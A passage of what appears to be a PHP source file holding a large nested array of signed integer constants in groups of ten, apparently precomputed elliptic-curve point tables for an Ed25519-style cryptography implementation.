7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, 